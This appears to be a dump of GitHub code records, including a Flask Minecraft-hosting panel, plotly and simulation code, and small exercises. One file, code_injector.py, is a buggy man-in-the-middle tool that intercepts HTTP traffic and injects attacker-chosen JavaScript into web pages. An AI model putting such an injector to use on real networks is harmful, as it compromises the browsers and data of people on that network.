:]\n        cam = cv2.resize(cam, (img.shape[-1], img.shape[-2]), interpolation=cv2.INTER_AREA)\n        cam = (cam - np.min(cam)) / (np.max(cam) - np.min(cam))\n        return cam\n","repo_name":"mehak-agr/wsl","sub_path":"wsl/networks/medinet/backprop.py","file_name":"backprop.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"10938234751","text":"from flask import Flask, render_template, redirect, url_for, flash, jsonify\nfrom flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user\nimport flask.cli\nimport subprocess\nimport logging\nimport argparse\nimport docker\nimport os\nimport re\n\n# file import  \nfrom utils.database import DatabaseService\nfrom utils.flaskform import LoginForm, RegisterForm, CreateServerForm, OpPlayerForm, WhitelistPlayerForm\nfrom services.config import ConfigService\nfrom services.logger import Logger\nfrom utils.ports import PortsService\nfrom utils.minecraft import MinecraftService\nfrom services.docker import DockerService\n\n# ==============================================================================\n# Environment variables \napp = Flask(__name__)\napp.config['SECRET_KEY'] = os.urandom(24)\nlogin_manager=LoginManager()\nlogin_manager.init_app(app)\nclient = docker.from_env()\n# ==============================================================================\n\nclass User(UserMixin):\n    def __init__(self, username):\n        self.id = username\n        self.username = username\n\n@login_manager.user_loader\ndef load_user(user_id):\n    return User(user_id)\n\n@login_manager.unauthorized_handler\ndef unauthorized():\n    return redirect(url_for('login'))\n\ndef parseArgs():\n    parser = argparse.ArgumentParser(description=\"HaThermos Web Panel\")\n    parser.add_argument('-d','--debug', action='store_true', help='Enable debug mode')\n    parser.add_argument('-p','--port', type=int, help='Port to run the web panel on')\n    parser.add_argument('-a','--admin', action='store_true', help='Enable admin mode (username:admin, passsword:admin) BE CAREFUL !')\n    args = parser.parse_args()\n    return args\n    \ndef checkEmail(email):\n    regex = '^[a-z0-9]+[\\._]?[a-z0-9]+[@]\\w+[.]\\w{2,3}$'\n    if(re.search(regex,email)):\n        return True\n    return False\n\ndef createApp():\n    logger.addDebug(\"Creating app...\")\n    app = Flask(__name__)\n    logger.addDebug(\"Creating app... Done\")\n    return app\n\ndef buildCss():\n    logger.addDebug(\"Building CSS : building\")\n    subprocess.run([\"./tailwindcss\", \"-i\", \"./static/css/input.css\", \"-o\", \"./static/css/tailwind.css\"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n    logger.addDebug(\"Building CSS : building... Done\")\n\ndef ErrorHandler(e):\n    logger.addError(f'Error : {e}')\n    errorCode = e.code\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n    errorMessage = e.description\n    if errorCode == 404:\n        flash('Page not found', category='error')\n        return render_template(\"error.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Error\", PageNameLower=\"error\", userAuth=userAuth, ErrorMessage=errorMessage, ErrorCode=errorCode), 404\n    else:\n        flash('An error occured', category='error')\n        return render_template(\"error.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Error\", PageNameLower=\"error\", userAuth=userAuth), 500\n\n@app.route('/')\ndef index():\n    userAuth = False\n    admin = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the home page')\n    else:\n        logger.addInfo('User is not logged in and going to the home page')\n    return render_template(\"index.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Home\", PageNameLower=\"home\", userAuth=userAuth, admin=admin)\n\n@app.route('/about')\ndef about():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the about page')\n    else:\n        logger.addInfo('User is not logged in and going to the about page')\n    return render_template(\"about.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"About\", PageNameLower=\"about\", userAuth=userAuth)\n\n@app.route('/contact')\ndef contact():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the contact page')\n    else:\n        logger.addInfo('User is not logged in and going to the contact page')\n    return render_template(\"contact.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Contact\", PageNameLower=\"contact\", userAuth=userAuth)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    form = LoginForm()\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the login page')\n        return redirect(url_for('dashboard'))\n    else:\n        logger.addInfo('User is not logged in and going to the login page')\n    if form.validate_on_submit():\n        if databaseObj.checkUser(form.usernameOrEmail.data, form.password.data):\n            user = User(form.usernameOrEmail.data)\n            login_user(user)\n            return redirect(url_for('dashboard'))\n        else:\n            flash('Invalid username/email or password', category='error')\n            return redirect(url_for('login'))\n    return render_template('login.html', form=form, ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Login\", PageNameLower=\"login\", userAuth=userAuth)\n\n@app.route('/logout')\n@login_required\ndef logout():\n    logger.addInfo(f'User {current_user.username} logged out')\n    logout_user()\n    flash('Logged out', category='success')\n    return redirect(url_for('index'))\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n    form = RegisterForm()\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the register page')\n        return redirect(url_for('dashboard'))\n    else:\n        logger.addInfo('User is not logged in and going to the register page')\n    if form.validate_on_submit():\n        if form.confirmPassword.data == form.password.data:\n            if checkEmail(form.email.data):\n                if databaseObj.addUser(form.username.data, form.email.data, form.password.data):\n                    flash('Account created', category='success')\n                    return redirect(url_for('login'))\n                else:\n                    flash('Username already exists', category='error')\n                    return redirect(url_for('register'))\n            else:\n                flash('Invalid email', category='error')\n                return redirect(url_for('register'))\n        else:\n            flash('Passwords do not match', category='error')\n            return redirect(url_for('register'))\n    return render_template('register.html', form=form, ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Register\", PageNameLower=\"register\", userAuth=userAuth)\n\n@app.route('/admin')\n@login_required\ndef admin():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the admin accounts page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the admin accounts page')\n        return redirect(url_for('index'))\n    return render_template(\"admin.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Admin\", PageNameLower=\"admin\", userAuth=userAuth)\n    \n@app.route('/admin/accounts')\n@login_required\ndef adminAccounts():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the admin accounts page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the admin accounts page')\n        return redirect(url_for('index'))\n    accounts = databaseObj.getUsers()\n    return render_template(\"adminAccount.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Admin Accounts\", PageNameLower=\"admin/accounts\", userAuth=userAuth, Accounts=accounts)\n\n@app.route('/admin/servers')\n@login_required\ndef adminServers():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the admin servers page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the admin servers page')\n        return redirect(url_for('index'))\n    servers = databaseObj.getServers()\n    return render_template(\"adminServer.html\", ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Admin Servers\", PageNameLower=\"admin/servers\", userAuth=userAuth, Servers=servers)\n\n@app.route('/deleteAccount', methods=['GET', 'POST'])\n@login_required\ndef deleteAccount():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the delete account page')\n    else:\n        logger.addInfo('User is not logged in and going to the delete account page')\n    loggedUser = current_user\n    if userAuth:\n        if loggedUser == current_user:\n            databaseObj.deleteUser(loggedUser.username)\n            logout_user()\n            flash('Account deleted', category='success')\n            return redirect(url_for('index'))\n        else:\n            flash('You can only delete your own account', category='error')\n            return redirect(url_for('index'))\n    else:\n        flash('You need to be logged in to delete your account', category='error')\n        return redirect(url_for('index'))\n    \n@app.route('/deleteAccount/<id>')\n@login_required\ndef deleteAccountAdmin(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the delete account page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the delete account page')\n        return redirect(url_for('index'))\n    if userAuth:\n        databaseObj.deleteUser(id)\n        flash('Account deleted', category='success')\n        return redirect(url_for('adminAccounts'))\n    else:\n        flash('You need to be logged (and admin) in to delete an account', category='error')\n        return redirect(url_for('index'))\n\n@app.route('/setAdmin/<id>')\n@login_required\ndef setAdminAdmin(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the set admin page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the set admin page')\n        return redirect(url_for('index'))\n    if userAuth:\n        databaseObj.setAdmin(id)\n        flash('Account set as admin', category='success')\n        return redirect(url_for('adminAccounts'))\n    else:\n        flash('You need to be logged (and admin) in to set an account as admin', category='error')\n        return redirect(url_for('index'))\n    \n@app.route('/unsetAdmin/<id>')\n@login_required\ndef unsetAdminAdmin(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the unset admin page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the unset admin page')\n        return redirect(url_for('index'))\n    if userAuth:\n        databaseObj.unsetAdmin(id)\n        flash('Account unset as admin', category='success')\n        return redirect(url_for('adminAccounts'))\n    else:\n        flash('You need to be logged (and admin) in to unset an account as admin', category='error')\n        return redirect(url_for('index'))\n    \n@app.route('/deleteServerAdmin/<id>')\n@login_required\ndef deleteServerAdmin(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the delete server page')\n        if not databaseObj.isAdmin(current_user.username):\n            flash('You are not an admin', category='error')\n            return redirect(url_for('index'))\n    else:\n        logger.addInfo('User is not logged in and going to the delete server page')\n        return redirect(url_for('index'))\n    if userAuth:\n        if databaseObj.getServer(id)[4] != None:\n            if databaseObj.deleteServer(id):\n                flash('Server deleted', category='success')\n                return redirect(url_for('adminServers'))\n            else:\n                DockerService().stopDocker(id)\n                if databaseObj.deleteServer(id):\n                    flash('Server deleted', category='success')\n                    return redirect(url_for('adminServers'))\n                else:\n                    flash('Error deleting server', category='error')\n                    return redirect(url_for('adminServers'))\n        else:\n            flash('Error deleting server', category='error')\n            return redirect(url_for('adminServers'))\n\n@app.route('/dashboard')\n@login_required\ndef dashboard():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the dashboard page')\n    else:\n        logger.addInfo('User is not logged in and going to the dashboard page')\n    loggedUser = current_user\n    userServers = databaseObj.getServerByOwner(loggedUser.username)\n    return render_template('dashboard.html', ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Dashboard\", PageNameLower=\"dashboard\", servers=userServers, loggedUser=loggedUser, userAuth=userAuth)\n\n@app.route('/server/<id>', methods=['GET', 'POST'])\n@login_required\ndef server(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the server page')\n    else:\n        logger.addInfo('User is not logged in and going to the server page')\n    loggedUser = current_user\n    server = databaseObj.getServer(id)\n    if server[2] != loggedUser.username:\n        flash('You are not the owner of this server', category='error')\n        return redirect(url_for('dashboard'))\n    port = server[4]\n    if port == None:\n        port = \"Server is not running\"\n    op = OpPlayerForm()\n    whitelist = WhitelistPlayerForm()\n    if op.validate_on_submit():\n        if DockerService().opPlayer(server[0], op.player1.data):\n            flash('Player added as op', category='success')\n            return redirect(url_for('server', id=id))\n        else:\n            flash('Player already op', category='error')\n            return redirect(url_for('server', id=id))\n    if whitelist.validate_on_submit():\n        if DockerService().addPlayerToWhitelist(server[0], whitelist.player2.data):\n            flash('Player added to whitelist', category='success')\n            return redirect(url_for('server', id=id))\n        else:\n            flash('Player already whitelisted', category='error')\n            return redirect(url_for('server', id=id))\n    return render_template('server.html', ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Server\", PageNameLower=\"server\", server=server, op=op, loggedUser=loggedUser, userAuth=userAuth, port=port, whitelist=whitelist)\n\n@app.route('/createServer', methods=['GET', 'POST'])\n@login_required\ndef createServer():\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the create server page')\n    else:\n        logger.addInfo('User is not logged in and going to the create server page')\n    form = CreateServerForm()\n    if form.validate_on_submit():\n        if databaseObj.addServer(form.serverName.data, current_user.username, form.serverVersion.data):\n            flash('Server created', category='success')\n            server = databaseObj.getServerByName(form.serverName.data)\n            return redirect(url_for('server', id=server[0]))\n        else:\n            flash('Server already exists', category='error')\n            return redirect(url_for('createServer'))\n    return render_template('createServer.html', form=form, ProjectName=jsonConfig.getConfig('ProjectName'), PageName=\"Create Server\", PageNameLower=\"createserver\", userAuth=userAuth)\n\n@app.route('/deleteServer/<id>', methods=['GET', 'POST'])\n@login_required\ndef deleteServer(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the delete server page')\n    else:\n        logger.addInfo('User is not logged in and going to the delete server page')\n    serverName = databaseObj.getServer(id)[1]\n    if databaseObj.getServer(id)[2] != current_user.username:\n        flash('You can only delete your own servers', category='error')\n        return redirect(url_for('dashboard'))\n    if databaseObj.deleteServer(id):\n        flash('Server deleted', category='success')\n        return redirect(url_for('dashboard'))\n    else:\n        flash('Invalid server', category='error')\n        return redirect(url_for('server', id=id))\n    \n@app.route('/startServer/<id>', methods=['GET', 'POST'])\n@login_required\ndef startServer(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the start server page')\n    else:\n        logger.addInfo('User is not logged in and going to the start server page')\n    if databaseObj.getServer(id)[2] != current_user.username:\n        flash('You can only start your own servers', category='error')\n        return redirect(url_for('dashboard'))\n    if databaseObj.isUserServerHasPort(current_user.username):\n        flash('You can only have one server running at a time', category='error')\n        return redirect(url_for('dashboard'))\n    serverId = databaseObj.getServer(id)[0]\n    portToOpen = ports.getFreePort()\n    if portToOpen == None:\n        flash('No ports available, try again later', category='error')\n        return redirect(url_for('dashboard'))\n    if DockerService().startDocker(id=serverId,port=portToOpen,version=databaseObj.getServer(id)[3]):\n        ports.addPort(portToOpen)\n        databaseObj.updateServerPort(serverId, portToOpen)\n        flash('Server started', category='success')\n        return redirect(url_for('server', id=id))\n    else:\n        flash('Invalid server', category='error')\n        return redirect(url_for('server', id=id))\n    \n@app.route('/stopServer/<id>', methods=['GET', 'POST'])\n@login_required\ndef stopServer(id):\n    userAuth = False\n    if current_user.is_authenticated:\n        userAuth = True\n        logger.addInfo(f'User {current_user.username} is logged in and going to the stop server page')\n    else:\n        logger.addInfo('User is not logged in and going to the stop server page')\n    serverId = databaseObj.getServer(id)[0]\n    if databaseObj.getServer(id)[2] != current_user.username:\n        flash('You can only stop your own servers', category='error')\n        return redirect(url_for('dashboard'))\n    if DockerService().stopDocker(id=serverId):\n        ports.removePort(databaseObj.getServer(id)[4])\n        databaseObj.updateServerPort(serverId, None)\n        flash('Server stopped', category='success')\n        return redirect(url_for('server', id=id))\n    else:\n        flash('Invalid server', category='error')\n        return redirect(url_for('server', id=id))\n\n@app.route('/api/server/<id>')\ndef apiServer(id):\n    mcServer = MinecraftService(f\"{id}hathermos\", 25565)\n    status = mcServer.status\n    if status == False:\n        return jsonify({\"status\": \"offline\"})\n    else:\n        return jsonify({\"status\": \"online\", \"players\": mcServer.getPlayers(), \"playerCount\": mcServer.getPlayerCount(), \"maxPlayers\": mcServer.getMaxPlayers()})\n\nif __name__ == '__main__':\n    args = parseArgs()\n    debugBool = args.debug\n    port = args.port if args.port != None else 8090\n    jsonConfig = ConfigService()\n    flaskLog = logging.getLogger('werkzeug')\n    flaskLog.disabled = True\n    flask.cli.show_server_banner = lambda *args: None\n    if os.path.isdir(\"data/\") == False:\n        os.mkdir(\"data/\")\n    logger = Logger(\"logs.log\",debugMode=debugBool)\n    logger.addInfo(\"Starting program...\")\n    ports = PortsService(\"ports.json\")\n    databaseObj = DatabaseService(\"database.db\")\n    if args.admin:\n        logger.addInfo(\"Creating admin user\")\n        databaseObj.addAdmin(\"admin\", None, \"admin\")\n        exit()\n    logger.addInfo(\"Utils loaded\")\n    createApp()\n    buildCss()\n    logger.addInfo(f\"Web server started on port {port}\")\n    app.register_error_handler(404, ErrorHandler)\n    app.run(port=port, debug=False,host='0.0.0.0')\n","repo_name":"Wiibleyde/HaThermos","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":21800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8391049458","text":"import _plotly_utils.basevalidators\n\n\nclass ContoursValidator(_plotly_utils.basevalidators.CompoundValidator):\n    def __init__(self, plotly_name=\"contours\", parent_name=\"surface\", **kwargs):\n        super(ContoursValidator, self).__init__(\n            plotly_name=plotly_name,\n            parent_name=parent_name,\n            data_class_str=kwargs.pop(\"data_class_str\", \"Contours\"),\n            data_docs=kwargs.pop(\n                \"data_docs\",\n                \"\"\"\n            x\n                :class:`plotly.graph_objects.surface.contours.X\n                ` instance or dict with compatible properties\n            y\n                :class:`plotly.graph_objects.surface.contours.Y\n                ` instance or dict with compatible properties\n            z\n                :class:`plotly.graph_objects.surface.contours.Z\n                ` instance or dict with compatible properties\n\"\"\",\n            ),\n            **kwargs,\n        )\n","repo_name":"plotly/plotly.py","sub_path":"packages/python/plotly/plotly/validators/surface/_contours.py","file_name":"_contours.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":14438,"dataset":"github-code","pt":"3"}
+{"seq_id":"43673471519","text":"class Node:\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\nclass LinkedList:\n    def __init__(self):\n        self.start = None\n\n    def push(self, val):\n        newNode = Node(val)\n        if self.start is None:\n            self.start = newNode\n            return\n        curr = self.start\n        while curr.next:\n            curr = curr.next\n        curr.next = newNode\n\n    def get(self, index):\n        curr = self.start\n        k = 0\n        while curr and k < index - 1:\n            curr = curr.next\n            k += 1\n        return curr.data\n\n    def remove(self, index):\n        if index < 0:\n            return\n        if index == 0:\n            self.start = self.start.next\n            return\n        curr = self.start\n        k = 0\n        while curr and k < index - 1:\n            curr = curr.next\n            k += 1\n        if curr and curr.next:\n            curr.next = curr.next.next\n\n    def insert(self, n, val):\n        if n < 0:\n            return\n        newNode = Node(val)\n        if n == 0:\n            newNode.next = self.start\n            self.start = newNode\n        else:\n            curr = self.start\n            k = 0\n            while curr and k < n - 1:\n                curr = curr.next\n                k += 1\n            if curr:\n                newNode.next = curr.next\n                curr.next = newNode\n\n    def __iter__(self):\n        return IteratorLinkedList(self.start)\n\nclass IteratorLinkedList:\n    def __init__(self, start):\n        self.curr = start\n\n    def __iter__(self):\n        return self\n\n    def __next__(self):\n        if self.curr is None:\n            raise StopIteration\n        else:\n            data = self.curr.data\n            self.curr = self.curr.next\n            return data\n","repo_name":"ILLUMIHAT/pythonCourse","sub_path":"buns/mod6/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11638549262","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport opengate as gate\nfrom opengate.tests import utility\n\nif __name__ == \"__main__\":\n    \"\"\"\n    Example to create a new type of source.\n\n    You should copy-paste the following files, changing their name and\n    adapting their content to your needs.\n\n    Python side (user parameters):\n    - opengate/source/TemplateSource.py\n\n    CPP side (core)\n    - core/opengate_core/opengate_lib/GateTemplateSource.h\n    - core/opengate_core/opengate_lib/GateTemplateSource.cpp\n    - core/opengate_core/opengate_lib/pyGateTemplateSource.cpp\n\n    And modify the following files:\n    - opengate/source/helpers_source.py\n        => to add MySource in the 'source_type_names' list\n    - core/opengate_core/opengate_core.cpp\n        => to add definition and call of 'init_GateMySourceSource'\n\n    \"\"\"\n\n    # create the simulation\n    sim = gate.Simulation()\n\n    # main options\n    sim.g4_verbose = False\n    sim.g4_verbose_level = 1\n    # sim.running_verbose_level = gate.EVENT\n    sim.visu = False\n    sim.number_of_threads = 1\n\n    # g4 units\n    cm = gate.g4_units.cm\n    MeV = gate.g4_units.MeV\n\n    # set the world size like in the Gate macro\n    world = sim.world\n    world.size = [200 * cm, 200 * cm, 200 * cm]\n\n    # add a simple volume\n    waterbox = sim.add_volume(\"Box\", \"waterbox\")\n    waterbox.size = [40 * cm, 40 * cm, 40 * cm]\n    waterbox.translation = [4 * cm, -3 * cm, 2 * cm]\n    waterbox.material = \"G4_WATER\"\n\n    # test sources\n    source = sim.add_source(\"TemplateSource\", \"source\")\n    source.mother = waterbox.name\n    source.float_value = 1234 * MeV\n    source.vector_value = [1 * cm, 2 * cm, 3 * cm]\n    source.n = 666 / sim.number_of_threads\n\n    # actors\n    sim.add_actor(\"SimulationStatisticsActor\", \"Stats\")\n\n    # start simulation\n    output = sim.start()\n\n    # get results\n    stats = output.get_actor(\"Stats\")\n    print(stats)\n\n    is_ok = stats.counts.event_count = 666\n    utility.test_ok(is_ok)\n","repo_name":"OpenGATE/opengate","sub_path":"opengate/tests/src/test056_template_source.py","file_name":"test056_template_source.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"3"}
+{"seq_id":"34939883401","text":"for i in range(1, 5):\n    print(f\"----{i}ª pessoa----\")\n    nome = str(input(\"Nome da pessoa: \").strip())\n    idade = int(input(\"Idade da pessoa: \"))\n    sexo = str(input(\"Sexo M/F: \").lower().strip())\n    print('\\n')\n\n    if i == 1:\n        media = idade\n        wmen = 0\n        if sexo == 'm':\n            velho = nome\n            men = idade\n        elif idade < 20:\n            wmen = 1\n    else:\n        media += idade\n        if sexo == 'm' and idade > men:\n            velho = nome\n        if sexo == 'f' and idade < 20:\n            wmen += 1\nprint(f\"Média de idade do grupo: {(media / 4):.1f}\")\nprint(f\"Homem mais velho: {velho.title()}\")\nprint(f\"Quantidade de mulheres abaixo de 20 anos: {wmen}\")\n","repo_name":"VitthorDias/python-exercises","sub_path":"Mundo 2/Part 13/Ex 56  - HM Id Sx.py","file_name":"Ex 56  - HM Id Sx.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2287259148","text":"#https://www.acmicpc.net/problem/14719\nimport sys\nH,W=map(int, sys.stdin.readline().split())\nblocks=list(map(int, sys.stdin.readline().strip().split()))\n\nresult=0\nfor i in range(1,W-1):\n    leftMax=max(blocks[:i])\n    rightMax=max(blocks[i+1:])\n    m=min(leftMax,rightMax)\n    if m>blocks[i]:\n        result+=m-blocks[i]\n    \nprint(result)","repo_name":"Myunwoo/algorithm_study","sub_path":"implementation/baek14719.py","file_name":"baek14719.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9008945067","text":"import netfilterqueue\nimport scapy.all as scapy\nimport re\nimport argparse\n\ndef arg_parse():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-c\", \"--code\", dest=\"injection\", help= \"Put your malcious JS code :)\")\n    options = parser.parse_args()\n    if not options.interface:\n        parser.error(\"[-]Specify the code to inject\")\n    return options\n\ndef set_load(packet,load):\n    scapy_packet[scapy.Raw].load = load\n    del packet[scapy.IP].len\n    del packet[scapy.IP].chksum\n    del packet[scapy.TCP].len\n    del packet[scapy.TCP].chksum\n\ndef process_packet(packet):\n    scapy_packet = scapy.IP(packet.get_payload())\n    if scapy_packet.haslayer(scapy.Raw):\n        load = scapy_packet[scapy.Raw].load\n        if scapy_packet[scapy.TCP].dport == 80:\n            print(\"http response\")\n            load = re.sub(\"Accept-Encoding:.*?\\\\r\\\\n\",\"\",load)\n\n        elif scapy_packet[scapy.TCP].sport == 80:\n            print(\"http response\")\n            if \"Text/html\" in load:\n                injection_code = str(option.injection)\n                load = load.replace(\"</body>\",injection_code + \"</body>\")\n                content_length_search = re.search(\"(?:Content-length:\\s)(\\d*)\",load)\n                if content_length_search:\n                    content_length = content_length_search.group(1)\n                    new_content_length= int(content_length) + len(injection_code)\n                    load = load.replace(content_length,new_content_length)\n\n\n        if load != scapy_packet[scapy.Raw].load:\n            new_packet = set_load(scapy_packet, load)\n            packet.set_payload(str(new_packet))\n\n    packet.accept()\n\n\noption = arg_parse()\nqueue = netfilterqueue.NetfilterQueue()\nqueue(0,process_packet)\nqueue.run()","repo_name":"vicky1412/Hacking_tools","sub_path":"Hacking tools/code_injector/code_injector.py","file_name":"code_injector.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71810727441","text":"# 문제는 순열을 통해서 연산자를 배열하는 것\n# 연산자를 0 1 0 1 로 받으면 리스트에는 [-, /] 가 담기게 만든다.\n# 담은 리스트를 조합을 통해 섞어준다. \n# 리스트의 0 번부터 len(list) -1 번까지의 순서로 수의 나열 뒤에 붙여 써준다.\n# 수 0번 연산자 0번 수 1번을 놓고 계산을 한다. \n#  \nimport itertools # 순열 사용\n\nN = int(input())\nnums = list(map(int, input().split()))\ncalc = list(map(int, input().split()))\nchr = ''                                    # 문자열로 연산자를 받음\nchr += '+' * calc[0] + '-' * calc[1] + '*' * calc[2] + '/' * calc[3]\nlst = []                                    # 계산 값을 리스트에 담자\nnpn = list(map(list, itertools.permutations(chr)))\nfor j in range(len(list(npn))):\n    plus = nums[0]\n    for i in range(len(chr)):\n        if list(npn)[j][i] == '+':\n            plus += nums[i+1]\n        elif list(npn)[j][i] == '-':\n            plus -= nums[i+1]\n        elif list(npn)[j][i] == '*':\n            plus *= nums[i+1]\n        elif list(npn)[j][i] == '/':\n            if plus < 0:\n                plus = -(abs(plus) // nums[i+1])\n            else:\n                plus //= nums[i+1]\n    lst.append(plus)\nprint(max(lst))\nprint(min(lst))\n\n\n\n","repo_name":"youngmin940629/AlgorithmStudy","sub_path":"알고리즘스터디/2021_12/1204/박주윤/boj_14888_연산자끼워넣기.py","file_name":"boj_14888_연산자끼워넣기.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37065513338","text":"import socket\nfrom threading import Thread\n\nHOST = \"127.0.0.1\"\nPORT_LISTEN = 9090\nPORT_SEND = 5050\n\n\ndef listen():\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        s.bind((HOST, PORT_LISTEN))\n        s.listen()\n        conn, addr = s.accept()\n        with conn:\n            print(f\"Connected by {addr}\")\n            while True:\n                data = conn.recv(1024)\n                data = data.decode()\n                if data == \"QUIT\":\n                    print(f\"[END] Client disconnected\")\n                    break\n                elif data:\n                    print(f\"[MESSAGE RECEIVED] - {data}\\n\")\n\n\ndef send(message):\n    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n        s.connect((HOST, PORT_SEND))\n        s.sendall(message.encode(\"utf-8\"))\n        data = s.recv(1024)\n\n\nif __name__ == \"__main__\":\n    listenerThread = Thread(target=listen)\n    listenerThread.start()\n\n    while True:\n        message = input(\"Enter your message: \")\n        try:\n            send(message)\n            print(\"[MESSAGE RECEIVED] Message sent\\n\")\n        except ConnectionRefusedError:\n            print(\"[ERROR] Message not received\\n\")\n        if message == \"QUIT\":\n            break\n\n    print(\"[END] You left the chat\")\n\n","repo_name":"WilliamAlf/Encrypted-Chat-Application","sub_path":"Communications/Old Version/peerOther.py","file_name":"peerOther.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
